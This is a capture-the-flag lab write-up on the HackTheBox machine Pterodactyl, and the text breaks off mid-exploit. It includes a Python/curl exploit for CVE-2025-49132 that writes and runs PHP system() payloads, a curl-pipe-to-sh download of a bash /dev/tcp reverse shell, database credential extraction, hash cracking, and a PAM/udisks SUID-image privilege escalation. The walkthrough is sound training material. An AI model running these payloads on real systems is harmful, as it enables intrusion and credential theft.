Skip to main content
HTB: Pterodactyl
  1. Posts/

HTB: Pterodactyl

Table of Contents

Introduction
#

Pterodactyl started with a Minecraft server website and a panel subdomain with a Pterodactyl instance. I abused an arbitrary code execution vulnerability (CVE-2025-49132) to read sensitive files and ultimately get qa reverse shell. Once on the host I used the previously gathered credetials to enumerate mysql database and get credentials for next user, these worked for SSH as well. For root I used combination of CVE-2025-6018 and CVE-2025-6019. Exploiting this chain was a two-step process: first, I used the PAM vulnerability to trick the system into thinking I am a “physically present” user (granting allow_active status). Then, I used that status to trick the udisks2 service into mounting a malicious filesystem that gave me a root shell.

nmap
#

nmap finds four open TCP ports, SSH (22), HTTP/S (80/443) and HTTP-proxy (8080):

sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.1.191
  • -sC for defaults scripts
  • -sV enumerate version
  • -vv double verbose
  • -oA output in all formats
PORT     STATE  SERVICE    REASON         VERSION
22/tcp   open   ssh        syn-ack ttl 63 OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey: 
|   256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOouXDOkVrDkob+tyXJOHu3twWDqor3xlKgyYmLIrPasaNjhBW/xkGT2otP1zmnkTUyGfzEWZGkZB2Jkaivmjgc=
|   256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJTXNuX5oJaGQJfvbga+jM+14w5ndyb0DN0jWJHQCDd9
80/tcp   open   http       syn-ack ttl 63 nginx 1.21.5
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.21.5
|_http-title: Did not follow redirect to http://pterodactyl.htb/
443/tcp  closed https      reset ttl 63
8080/tcp closed http-proxy reset ttl 63

Add pterodactyl.htb to /etc/hosts

Web - TCP 80
#

The website is mostly empty Minecraft server page

Subdomain enum
#

As I have the domain name, I tried to find any available subdomains of pterodactyl.htb:

└─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://pterodactyl.htb/ -H 'Host: FUZZ.pterodactyl.htb' -fs 145

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://pterodactyl.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Header           : Host: FUZZ.pterodactyl.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 145
________________________________________________

panel                   [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 408ms]
:: Progress: [220561/220561] :: Job [1/1] :: 1136 req/sec :: Duration: [0:03:38] :: Errors: 0 ::

Found panel.pterodactyl.htb, add it to /etc/hosts and check it:

IMG02

Powered by pterodactyl.io

CVE-2025-49132
#

Googling for pterodactyl cve points me towards CVE-2025-49132 vulnerability promising arbitrary code execution - Advisory.

Pterodactyl is a free, open-source game server management panel. Prior to version 1.11.11, using the /locales/locale.json with the locale and namespace query parameters, a malicious actor is able to execute arbitrary code without being authenticated. With the ability to execute arbitrary code it could be used to gain access to the Panel’s server, read credentials from the Panel’s config, extract sensitive information from the database, access files of servers managed by the panel, etc. This issue has been patched in version 1.11.11. There are no software workarounds for this vulnerability, but use of an external Web Application Firewall (WAF) could help mitigate this attack.

Since the Pterodactyl is open source I can check what changes were made between the versions - HERE

IMG - https://github.com/pterodactyl/panel/compare/v1.11.10...v1.11.11

The original code’s explode(' ', ...) allowed to inject path traversal sequences. The new code fixes this by treating locale and namespace as single, validated strings and so preventing the construction of arbitrary file paths.

Now, how to abuse the original:

#!/usr/bin/env python3
import os

target = "panel.pterodactyl.htb"
command = "id"
path = "/usr/share/php/PEAR"  # default

payload = command.replace(' ', '\\$\\\\{IFS\\\\}')
# This is here to eliminate potential issues with spaces and their parsing
# The string (command) is passed through a web server, which might URL-decode it.
# The resulting string is then evaluated by a shell in a way that might not preserve spaces if they are not correctly quoted or escaped.
# Internal Field Separator (IFS) is a shell variable that defines the character used for word splitting when the shell reads a string.
#
# Ultimately, \\$\\\\{IFS\\\\} resolves to ${IFS} when the shell on the target server interprets the string.

# write payload
os.system(
    f"curl \"http://{target}/locales/locale.json?+config-create+/&locale=../../../../../{path}&namespace=pearcmd&/<?=system('{payload}')?>+/tmp/payload.php\"
)

# trigger
os.system(
    f"curl \"http://{target}/locales/locale.json?locale=../../../../../tmp&namespace=payload\"
)

PoC
#

The script attempts to:

  • Write a PHP payload: Inject PHP code (<?=system('{payload}')?>) into a file on the target server.
  • Trigger the payload: Make a request to execute it by the server.

The PHP service has a path traversal vulnerability due to:

  • $locales = explode(' ', $request->input('locale') ?? '');
  • $namespaces = explode(' ', $request->input('namespace') ?? '');

The subsequent loop using these exploded values in $this->loader->load($locale, str_replace('.', '/', $namespace))

This allows me to control parts of the file path used by loader->load().

Phase 1: Write Payload

curl "http://example.com/locales/locale.json?+config-create+/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('id')?>+/tmp/payload.php"
  • locale parameter: ../../../../../usr/share/php/PEAR
  • namespace parameter: pearcmd&/<?=system('id')?>+/tmp/payload.php

This happens inside the vulnerable code:

public function __invoke(Request $request): JsonResponse
{
    $locales = explode(' ', $request->input('locale') ?? '');
    // $locales will be: ['../../../../../usr/share/php/PEAR']

    $namespaces = explode(' ', $request->input('namespace') ?? '');
    // $namespaces will be: ['pearcmd', '/tmp/payload.php', '<?=system(\'id\') ?\>']

    $response = [];
    foreach ($locales as $locale) { // Loop 1: locale = '../../../../../usr/share/php/PEAR'
        $response[$locale] = [];
        foreach ($namespaces as $namespace) { // Loop 2
            // iteration 1: namespace = 'pearcmd'
            //    $this->loader->load('../../../../../usr/share/php/PEAR', str_replace('.', '/', 'pearcmd'))
            //    This will attempt to load a legitimate PEAR config.

            // iteration 2: namespace = '/<?=system(\'id\')?\>'
            //    $this->loader->load('../../../../../usr/share/php/PEAR', str_replace('.', '/', '/<?=system(\'id\')?\>'))
            //    This is where the magic happens. The critical part is the `+config-create+/` prefix
            //    in the Python script's `curl` request. That sets up for writing content to arbitrary files
            //    when `+config-create+/` is present and the `locale` and `namespace` parameters are manipulated.
            //    
            //    The `locale` part (`../../../../../usr/share/php/PEAR`) sets the base directory.
            //    The `namespace` part (`/<?=system('id')?\>`) is the content to be written.
            //
            //    The `str_replace('.', '/', $namespace)` doesn't hurt here, as there are no dots.
            //
            //    Crucially, because of the vulnerability, this second iteration, when combined
            //    with the `+config-create+/` parameter, will cause the server to:
            //    1.  Resolve the path: It takes `/usr/share/php/PEAR` (from `locale`) and combines it
            //        with some internal logic to determine the output file.
            //    2.  Write the content: `<?=system('id')?\>` is written to a file. The `+config-create+/` in the URL
            //        is key here; it tells the vulnerable component to perform a file creation/write operation.
            //        The exact path it writes to is further controlled by parts of the namespace.

            // iteration 3: namespace = '/tmp/payload.php'
            //    This third part of the namespace parameter, `/tmp/payload.php`, is what
            //    the vulnerability uses to determine the *filename* where the
            //    content from the previous part will be written.
            //
            //    So, the PHP code `<?=system('id')?\>` is written to `/tmp/payload.php` on the server.
            //    This is because the vulnerability allows me to specify the full path (relative to the
            //    web root or some base directory) where the payload will be stored.
        }
    }
}

On the target server, a file named /tmp/payload.php will be created containing the PHP code: <?php system('id'); ?>.

Phase 2: Trigger Payload

curl "http://example.com/locales/locale.json?locale=../../../../../tmp&namespace=payload"
  • locale parameter: ../../../../../tmp
  • namespace parameter: payload

This happens inside the vulnerable code:

public function __invoke(Request $request): JsonResponse
{
    $locales = explode(' ', $request->input('locale') ?? '');
    // $locales will be: ['../../../../../tmp']

    $namespaces = explode(' ', $request->input('namespace') ?? '');
    // $namespaces will be: ['payload']

    $response = [];
    foreach ($locales as $locale) { // Loop 1: locale = '../../../../../tmp'
        $response[$locale] = [];
        foreach ($namespaces as $namespace) { // Loop 2
            // iteration 1: namespace = 'payload'
            //    $this->loader->load('../../../../../tmp', str_replace('.', '/', 'payload'))
            //    This will cause the loader to attempt to load a file.
            //    The path traversal in `locale` (`../../../../../tmp`) makes it look into `/tmp`.
            //    The `namespace` (`payload`) makes it look for `payload.php`
            //
            //    So, it will attempt to load `/tmp/payload.php`.
            //    Since `/tmp/payload.php` now contains `<?=system('id')?\>`, and if the `loader->load()`
            //    mechanism involves `include` or `require`, then the `system('id')` command will be executed.
        }
    }
}

The loader->load() method, by attempting to load /tmp/payload.php, will trigger the execution of the PHP code within it. The system('id') command will run on the target server.

Overall Result: Remote Code Execution

In the same way I can read files on the system:

Check What PHP Files Exist
#

I can look for existing Pterodactyl application files:

└─$ curl "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../var/www/pterodactyl/config&namespace=app"
{"..\/..\/..\/..\/..\/var\/www\/pterodactyl\/config":{"app":{"version":"1.11.10","name":"Pterodactyl","env":"production","debug":"","url":"http:\/\/panel.pterodactyl.htb","timezone":"UTC","locale":"en","fallback_locale":"en","key":"base64{{UaThTPQnUjrrK61o}}+Luk7P9o4hM+gl4UiMJqcbTSThY=","cipher":"AES-256-CBC","exceptions":{"report_all":""},"maintenance":{"driver":"file"},"providers":["Illuminate\\Auth\\AuthServiceProvider","Illuminate\\Broadcasting\\BroadcastServiceProvider","Illuminate\\Bus\\BusServiceProvider","Illuminate\\Cache\\CacheServiceProvider","Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider","Illuminate\\Cookie\\CookieServiceProvider","Illuminate\\Database\\DatabaseServiceProvider","Illuminate\\Encryption\\EncryptionServiceProvider","Illuminate\\Filesystem\\FilesystemServiceProvider","Illuminate\\Foundation\\Providers\\FoundationServiceProvider","Illuminate\\Hashing\\HashServiceProvider","Illuminate\\Mail\\MailServiceProvider","Illuminate\\Notifications\\NotificationServiceProvider","Illuminate\\Pagination\\PaginationServiceProvider","Illuminate\\Pipeline\\PipelineServiceProvider","Illuminate\\Queue\\QueueServiceProvider","Illuminate\\Redis\\RedisServiceProvider","Illuminate\\Auth\\Passwords\\PasswordResetServiceProvider","Illuminate\\Session\\SessionServiceProvider","Illuminate\\Translation\\TranslationServiceProvider","Illuminate\\Validation\\ValidationServiceProvider","Illuminate\\View\\ViewServiceProvider","Pterodactyl\\Providers\\ActivityLogServiceProvider","Pterodactyl\\Providers\\AppServiceProvider","Pterodactyl\\Providers\\AuthServiceProvider","Pterodactyl\\Providers\\BackupsServiceProvider","Pterodactyl\\Providers\\BladeServiceProvider","Pterodactyl\\Providers\\EventServiceProvider","Pterodactyl\\Providers\\HashidsServiceProvider","Pterodactyl\\Providers\\RouteServiceProvider","Pterodactyl\\Providers\\RepositoryServiceProvider","Pterodactyl\\Providers\\ViewComposerServiceProvider","Prologue\\Alerts\\AlertsServiceProvider"],"aliases":{"App":"Illuminate\\Support\\Facades\\App","Arr":"Illuminate\\Support\\Arr","Artisan":"Illuminate\\Support\\Facades\\Artisan","Auth":"Illuminate\\Support\\Facades\\Auth","Blade":"Illuminate\\Support\\Facades\\Blade","Broadcast":"Illuminate\\Support\\Facades\\Broadcast","Bus":"Illuminate\\Support\\Facades\\Bus","Cache":"Illuminate\\Support\\Facades\\Cache","Config":"Illuminate\\Support\\Facades\\Config","Cookie":"Illuminate\\Support\\Facades\\Cookie","Crypt":"Illuminate\\Support\\Facades\\Crypt","Date":"Illuminate\\Support\\Facades\\Date","DB":"Illuminate\\Support\\Facades\\DB","Eloquent":"Illuminate\\Database\\Eloquent\\Model","Event":"Illuminate\\Support\\Facades\\Event","File":"Illuminate\\Support\\Facades\\File","Gate":"Illuminate\\Support\\Facades\\Gate","Hash":"Illuminate\\Support\\Facades\\Hash","Http":"Illuminate\\Support\\Facades\\Http","Js":"Illuminate\\Support\\Js","Lang":"Illuminate\\Support\\Facades\\Lang","Log":"Illuminate\\Support\\Facades\\Log","Mail":"Illuminate\\Support\\Facades\\Mail","Notification":"Illuminate\\Support\\Facades\\Notification","Number":"Illuminate\\Support\\Number","Password":"Illuminate\\Support\\Facades\\Password","Process":"Illuminate\\Support\\Facades\\Process","Queue":"Illuminate\\Support\\Facades\\Queue","RateLimiter":"Illuminate\\Support\\Facades\\RateLimiter","Redirect":"Illuminate\\Support\\Facades\\Redirect","Request":"Illuminate\\Support\\Facades\\Request","Response":"Illuminate\\Support\\Facades\\Response","Route":"Illuminate\\Support\\Facades\\Route","Schema":"Illuminate\\Support\\Facades\\Schema","Session":"Illuminate\\Support\\Facades\\Session","Storage":"Illuminate\\Support\\Facades\\Storage","Str":"Illuminate\\Support\\Str","URL":"Illuminate\\Support\\Facades\\URL","Validator":"Illuminate\\Support\\Facades\\Validator","View":"Illuminate\\Support\\Facades\\View","Vite":"Illuminate\\Support\\Facades\\Vite","Alert":"Prologue\\Alerts\\Facades\\Alert","Carbon":"Carbon\\Carbon","JavaScript":"Laracasts\\Utilities\\JavaScript\\JavaScriptFacade","Theme":"Pterodactyl\\Extensions\\Facades\\Theme","Activity":"Pterodactyl\\Facades\\Activity","LogBatch":"Pterodactyl\\Facades\\LogBatch","LogTarget":"Pterodactyl\\Facades\\LogTarget"}}}}

In there there is a key: "key":"base64{{UaThTPQnUjrrK61o}}+Luk7P9o4hM+gl4UiMJqcbTSThY=" and version: "version":"1.11.10" confirming the vulnerability should work as planned.

Read Sensitive Files
#

Since I can read config files, I can try to extract useful information:

# Read .env file
└─$ curl "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../var/www/pterodactyl&namespace=.env"
{"..\/..\/..\/..\/..\/var\/www\/pterodactyl":{".env":[]}}  

Try database config:

# Try database config
└─$ curl "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../var/www/pterodactyl/config&namespace=database"

{"..\/..\/..\/..\/..\/var\/www\/pterodactyl\/config":{"database":{"default":"mysql","connections":{"mysql":{"driver":"mysql","url":"","host":"127.0.0.1","port":"3306","database":"panel","username":"pterodactyl","password":"PteraPanel","unix_socket":"","charset":"utf8mb4","collation":"utf8mb4_unicode_ci","prefix":"","prefix_indexes":"1","strict":"","timezone":"+00{{00}}","sslmode":"prefer","options":{"1014":"1"}}},"migrations":"migrations","redis":{"client":"predis","options":{"cluster":"redis","prefix":"pterodactyl_database_"},"default":{"scheme":"tcp","path":"\/run\/redis\/redis.sock","host":"127.0.0.1","username":"","password":"","port":"6379","database":"0","context":[]},"sessions":{"scheme":"tcp","path":"\/run\/redis\/redis.sock","host":"127.0.0.1","username":"","password":"","port":"6379","database":"1","context":[]}}}}} 

Great! I got database credentials:

  • Username: pterodactyl
  • Password: PteraPanel
  • Database: panel

These do not work for SSH.

Shell as wwwrun
#

To confirm my PoC works I first try it with command of id:

└─$ python3 pterodactyl_CVE-2025-49132.py
CONFIGURATION (CHANNEL PEAR.PHP.NET):
=====================================
Auto-discover new Channels     auto_discover    <not set>
Default Channel                default_channel  pear.php.net
HTTP Proxy Server Address      http_proxy       <not set>
PEAR server [DEPRECATED]       master_server    <not set>
Default Channel Mirror         preferred_mirror <not set>
Remote Configuration File      remote_config    <not set>
PEAR executables directory     bin_dir          /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('id')?>/pear
PEAR documentation directory   doc_dir          /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('id')?>/pear/docs
PHP extension directory        ext_dir          /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('id')?>/pear/ext
PEAR directory                 php_dir          /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('id')?>/pear/php
PEAR Installer cache directory cache_dir        /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('id')?>/pear/cache
PEAR configuration file        cfg_dir          /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('id')?>/pear/cfg
directory
PEAR data directory            data_dir         /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('id')?>/pear/data
PEAR Installer download        download_dir     /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('id')?>/pear/download
directory
Systems manpage files          man_dir          /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('id')?>/pear/man
directory
PEAR metadata directory        metadata_dir     <not set>
PHP CLI/CGI binary             php_bin          <not set>
php.ini location               php_ini          <not set>
--program-prefix passed to     php_prefix       <not set>
PHP's ./configure
--program-suffix passed to     php_suffix       <not set>
PHP's ./configure
PEAR Installer temp directory  temp_dir         /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('id')?>/pear/temp
PEAR test directory            test_dir         /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('id')?>/pear/tests
PEAR www files directory       www_dir          /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('id')?>/pear/www
Cache TimeToLive               cache_ttl        <not set>
Preferred Package State        preferred_state  <not set>
Unix file mask                 umask            <not set>
Debug Log Level                verbose          <not set>
PEAR password (for             password         <not set>
maintainers)
Signature Handling Program     sig_bin          <not set>
Signature Key Directory        sig_keydir       <not set>
Signature Key Id               sig_keyid        <not set>
Package Signature Type         sig_type         <not set>
PEAR username (for             username         <not set>
maintainers)
User Configuration File        Filename         /tmp/payload.php
System Configuration File      Filename         #no#system#config#
Successfully created default configuration file "/tmp/payload.php"
<!DOCTYPE html>
<html lang="en">
 <SNIP>
</html>
#PEAR_Config 0.9
a:12:{s:7:"php_dir";s:88:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/php";s:8:"data_dir";s:89:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/data";s:7:"www_dir";s:88:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/www";s:7:"cfg_dir";s:88:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/cfg";s:7:"ext_dir";s:88:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/ext";s:7:"doc_dir";s:89:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/docs";s:8:"test_dir";s:90:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/tests";s:9:"cache_dir";s:90:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/cache";s:12:"download_dir";s:93:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/download";s:8:"temp_dir";s:89:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/temp";s:7:"bin_dir";s:84:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear";s:7:"man_dir";s:88:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/man";}<!DOCTYPE html>
<html lang="en">
    <SNIP>
</html>

It does look like it is working. Now I can try it with a reverse shell.

First, I create one and host it on http server:

└─$ nano payload.sh               

└─$ cat payload.sh 
bash -c 'sh -i >& /dev/tcp/10.10.14.179/4444 0>&1'
└─$ python -m http.server 8082
Serving HTTP on 0.0.0.0 port 8082 (http://0.0.0.0:8082/) ...

Then, execute:

Set command to curl http://10.10.14.179:8082/payload.sh | sh

└─$ python3 pterodactyl_CVE-2025-49132.py

As explained above, this will write <?=system('curl http://10.10.14.179:8082/db.sh | sh')?> into the /tmp/payload.php on the target server and execute it.

I get a hit on the http server:

└─$ python -m http.server 8082
Serving HTTP on 0.0.0.0 port 8082 (http://0.0.0.0:8082/) ...
10.129.1.191 - - [12/Feb/2026 05:53:03] "GET /payload.sh HTTP/1.1" 200 -

and catch a shell on the listener:

└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.179] from (UNKNOWN) [10.129.1.191] 34684
sh: cannot set terminal process group (1212): Inappropriate ioctl for device
sh: no job control in this shell
sh-4.4$ id
id
uid=474(wwwrun) gid=477(www) groups=477(www)

Upgrade the shell:

sh-4.4$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
wwwrun@pterodactyl:/var/www/pterodactyl/public> 

And move along.

Shell as phileasfogg3
#

Database
#

Now I can use the credentials found earlier to connect to mysql database:

wwwrun@pterodactyl:/var/www/pterodactyl/public> mysql -u pterodactyl -p'PteraPanel' -h 127.0.0.1 -D panel
<-u pterodactyl -p'PteraPanel' -h 127.0.0.1 -D panel
mysql: Deprecated program name. It will be removed in a future release, use '/usr/bin/mariadb' instead
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 3011
Server version: 11.8.3-MariaDB MariaDB package

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [panel]>

Check tables and get user data:

MariaDB [panel]> show tables;
show tables;
+-----------------------+
| Tables_in_panel       |
+-----------------------+
| activity_log_subjects |
| activity_logs         |
| allocations           |
| api_keys              |
| api_logs              |
| audit_logs            |
| backups               |
| database_hosts        |
| databases             |
| egg_mount             |
| egg_variables         |
| eggs                  |
| failed_jobs           |
| jobs                  |
| locations             |
| migrations            |
| mount_node            |
| mount_server          |
| mounts                |
| nests                 |
| nodes                 |
| notifications         |
| password_resets       |
| recovery_tokens       |
| schedules             |
| server_transfers      |
| server_variables      |
| servers               |
| sessions              |
| settings              |
| subusers              |
| tasks                 |
| tasks_log             |
| user_ssh_keys         |
| users                 |
+-----------------------+
35 rows in set (0.001 sec)

MariaDB [panel]> select username, password from users;
select username, password from users;
+--------------+--------------------------------------------------------------+
| username     | password                                                     |
+--------------+--------------------------------------------------------------+
| headmonitor  | $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2 |
| phileasfogg3 | $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi |
+--------------+--------------------------------------------------------------+
2 rows in set (0.001 sec)


MariaDB [panel]>

The user_ssh_keys was unfortunately empty:

MariaDB [panel]> select * from user_ssh_keys;
select * from user_ssh_keys;
Empty set (0.000 sec)

Crack passwords
#

Identify the hashes:

└─$ hashid hashes.hash -m
--File 'hashes.hash'--
Analyzing '$2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2'
[+] Blowfish(OpenBSD) [Hashcat Mode: 3200]
[+] Woltlab Burning Board 4.x 
[+] bcrypt [Hashcat Mode: 3200]
Analyzing '$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi'
[+] Blowfish(OpenBSD) [Hashcat Mode: 3200]
[+] Woltlab Burning Board 4.x 
[+] bcrypt [Hashcat Mode: 3200]
--End of file 'hashes.hash'--  

and crack them:

└─$ hashcat -m 3200 hashes.hash ~/Tools/rockyou.txt 
hashcat (v6.2.6) starting

<SNIP>

Dictionary cache hit:
* Filename..: /home/kali/Tools/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

<SNIP>

$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi:!QAZ2wsx

I managed to crack one in reasonable time: phileasfogg3:!QAZ2wsx, the other took way too long.

User flag
#

With these credentials I could SSH in and grab the user flag:

└─$ ssh phileasfogg3@10.129.1.191
(phileasfogg3@10.129.1.191) Password: 
Have a lot of fun...
Last login: Thu Feb 12 13:52:37 2026 from 10.10.14.179
phileasfogg3@pterodactyl:~> ls
bin  user.txt
phileasfogg3@pterodactyl:~> cat user.txt
c5d9a014565acc8ec4e6706dd432c20b

Root
#

After running sudo -l

phileasfogg3@pterodactyl:~> sudo -l
[sudo] password for phileasfogg3: 
Matching Defaults entries for phileasfogg3 on pterodactyl:
    always_set_home, env_reset, env_keep="LANG LC_ADDRESS LC_CTYPE LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES
    LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS XDG_SESSION_COOKIE", !insults,
    secure_path=/usr/sbin\:/usr/bin\:/sbin\:/bin, targetpw

User phileasfogg3 may run the following commands on pterodactyl:
    (ALL) ALL

I thought that was it for the box, but alas targetpw.

This means sudo is configured to ask for the target user’s password (root’s password).

So even though I have (ALL) ALL, I still need to know root’s password to actually use sudo.

CVE chain
#

And here I got stuck for a loooong time.

Eventualy, I found the next step.

It is a combination of two CVEs as described HERE

CVE-2025-6018
#

A Local Privilege Escalation (LPE) vulnerability has been discovered in pam-config within Linux Pluggable Authentication Modules (PAM). This flaw allows an unprivileged local attacker (for example, a user logged in via SSH) to obtain the elevated privileges normally reserved for a physically present, “allow_active” user. The highest risk is that the attacker can then perform all allow_active yes Polkit actions, which are typically restricted to console users, potentially gaining unauthorized control over system configurations, services, or other sensitive operations.

CVE-2025-6019
#

A Local Privilege Escalation (LPE) vulnerability was found in libblockdev. Generally, the “allow_active” setting in Polkit permits a physically present user to take certain actions based on the session type. Due to the way libblockdev interacts with the udisks daemon, an “allow_active” user on a system may be able escalate to full root privileges on the target host. Normally, udisks mounts user-provided filesystem images with security flags like nosuid and nodev to prevent privilege escalation. However, a local attacker can create a specially crafted XFS image containing a SUID-root shell, then trick udisks into resizing it. This mounts their malicious filesystem with root privileges, allowing them to execute their SUID-root shell and gain complete control of the system.

First, I use the PAM vulnerability to trick the system into thinking I am a “physically present” user (granting you allow_active status). Then, I use that status to trick the udisks2 service into mounting a malicious filesystem that gives me a root shell.

Exploit
#

Step 1: Spoofing the Physical Session (CVE-2025-6018)

The goal here was to set environment variables that pam_systemd uses to classify the session. By default, SSH sessions are “remote” and have low privileges. I want to be “local”.

  1. Create the environment file - .pam_environemt:
phileasfogg3@pterodactyl:~> cat .pam_environment 
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
  1. Trigger and Verify:

Log out of the SSH session and log back in.

When I log in, PAM should reads the environment file.

I can verify if I am now considered an “active” local session:

phileasfogg3@pterodactyl:~> loginctl show-session $XDG_SESSION_ID | grep -E "Remote|Active|Seat"
Seat=seat0
Remote=yes
RemoteHost=10.10.14.179
Active=yes

It says Active=yes and my seat is seat0, I have successfully escalated to “physical user”.

Step 2: The Root Escalation (CVE-2025-6019)

Now that Polkit thinks I am sitting at the computer, I have permission to ask udisks2 to manage drives.

I can create a fake “drive” (a loopback image) containing a shell with the SUID bit set.

  1. Create filesystem image:
└─$ dd if=/dev/zero of=exploit.img bs=1M count=300
300+0 records in
300+0 records out
314572800 bytes (315 MB, 300 MiB) copied, 0.402673 s, 781 MB/s
  1. Put a SUID shell inside:

First, I need to mount it locally to set the permissions.

└─$ mkfs.xfs exploit.img
meta-data=exploit.img            isize=512    agcount=4, agsize=19200 blks
         =                       sectsz=512   attr=2, projid32bit=1
         =                       crc=1        finobt=1, sparse=1, rmapbt=1
         =                       reflink=1    bigtime=1 inobtcount=1 nrext64=1
         =                       exchange=0   metadir=0
data     =                       bsize=4096   blocks=76800, imaxpct=25
         =                       sunit=0      swidth=0 blks
naming   =version 2              bsize=4096   ascii-ci=0, ftype=1, parent=0
log      =internal log           bsize=4096   blocks=16384, version=2
         =                       sectsz=512   sunit=0 blks, lazy-count=1
realtime =none                   extsz=4096   blocks=0, rtextents=0
         =                       rgcount=0    rgsize=0 extents
         =                       zoned=0      start=0 reserved=0

└─$ mkdir mnt_exploit

└─$ sudo mount -o loop exploit.img ./mnt_exploit

└─$ sudo cp /bin/bash ./mnt_exploit/sh_root

└─$ sudo chown root:root ./mnt_exploit/sh_root

└─$ sudo chmod 4755 ./mnt_exploit/sh_root

After I set it all up I can umount and clean up:

└─$ sudo umount ./mnt_exploit
                                                                                                                                    
└─$ rmdir mnt_exploit

And finally I can move it to the host:

└─$ scp exploit.img phileasfogg3@10.129.1.191:~/
(phileasfogg3@10.129.1.191) Password: 
exploit.img 
  1. The “Resize”:

